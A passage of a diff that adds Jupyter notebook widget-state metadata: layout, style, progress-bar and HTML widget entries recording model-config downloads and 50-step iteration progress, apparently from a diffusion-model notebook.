+        "a144d82a835e4d48b987fecd5af96b6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d78921386a5b493ab86718077b16a945",
+            "placeholder": "",
+            "style": "IPY_MODEL_42ad2fe1e9ee44dcb9d3b7c6af9a87a1",
+            "value": " 12/12 [00:16<00:00,  1.91s/it]"
+          }
+        },
+        "a432cb1a0bc7418bb90248973e91c452": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a509f68381854d7da52a21dde99a9f62": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1cfa604ca2924c25930887b466ac3e9b",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_26aac0b253ba4e2e8f19acfa0bead5a7",
+            "value": 1059962
+          }
+        },
+        "a99edd082dff4f928c3b75abf84ec0ec": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ac3ea0ea867b4c30bd4be87aaa602d42": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ad2f2fd194ac4bca909e5af122370e3d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ad3538e88909423a9a8d109bd97745a5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_caf7f52d17334c0ea9141fb27dbb5bd1",
+            "max": 807,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3634354fd978434bbad0fd11d3e0b5fb",
+            "value": 807
+          }
+        },
+        "af474aa6c91344da9a968e7e2488b74c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_69faef33b09f4da7b1c11639102b2a4f",
+            "placeholder": "",
+            "style": "IPY_MODEL_87d35ca268744638ad484ccf1a7fe2ed",
+            "value": " 50/50 [00:29<00:00,  1.65it/s]"
+          }
+        },
+        "b02317ef6e514fa9b2c58c64e7702533": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b4f99623a96f4d18989cf117b4c91660": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b63595513fec4e81a0a8200294faf7ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b75a2474c46f4f3b9d84cb981bfffac7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc42d1c7cdcd4064a1dbcc3eb1f3009b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bf0a27e1f6f3454fafa2bb04a16e4ba6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c6305a1adcd946d2a4c66c05e614bcf1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f369cc94c2544de3acdbcd35cac6d393",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0bec42769e7e4492aedd4afb63a91ff3",
+            "value": 50
+          }
+        },
+        "c79ef9b35d014fdfb9f88fc09e870d01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c99c614b55ba44fbb2927642128fba9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ca063f5b64d74bc9be303eebe7092f81": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "caf7f52d17334c0ea9141fb27dbb5bd1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cb68043195a642b3a495d82d87ffd1b8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_597a8eacf00b406ab23af333aea97e3c",
+            "max": 577,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_20396dbdc36b47538a5fd6b522478b67",
+            "value": 577
+          }
+        },
+        "cbcfc8e9b02348a182722c846cecca2a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce3ebc0beb214d9b9df35c37eff91505": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d02fc695003f435e9ec25e5ab7eec2bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e16097842da34cd0bc24cfaeab3de404",
+              "IPY_MODEL_0d2fba8088804ecab806472f5396f1bc",
+              "IPY_MODEL_8bef2ecbcbcf4ad1bb5e495a52ca2aa6"
+            ],
+            "layout": "IPY_MODEL_9a2aa30940934458ae53131db74a7406"
+          }
+        },
+        "d0c8dcdbf9f44ca1bc74ea1e2f127b0f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d1bf7fca5177409290ea45d701774d6d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d2598bdd44164f77a581fb0afad817f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_23cd6b916dfe4e5faa4021cf02d07f53",
+            "placeholder": "",
+            "style": "IPY_MODEL_d97f27872680454ba3574589b371ea97",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "d26404f63c3240d28ed1af7527307317": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_7f29483722954a3697afb9cb24430e8c",
+              "IPY_MODEL_ad3538e88909423a9a8d109bd97745a5",
+              "IPY_MODEL_f1e7ac9f310140f0adac525362d99180"
+            ],
+            "layout": "IPY_MODEL_ce3ebc0beb214d9b9df35c37eff91505"
+          }
+        },
+        "d321be86c24d4a35a251d4ef7a75c24d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_73f2e3215913478aae13131aefadd0a5",
+            "placeholder": "",
+            "style": "IPY_MODEL_64f6ec814be648d3ba69f94eb844a049",
+            "value": " 50/50 [00:30<00:00,  1.80it/s]"
+          }
+        },
+        "d438504eef684317a6c09cc0b123d25d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d44653455b8a490997da5bfd8672cf7e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d78921386a5b493ab86718077b16a945": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d97f27872680454ba3574589b371ea97": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "da5028411a634a2eb2e1ed3fcc53ed6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dba967ac191d45a0b604e93f0dc1fffe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
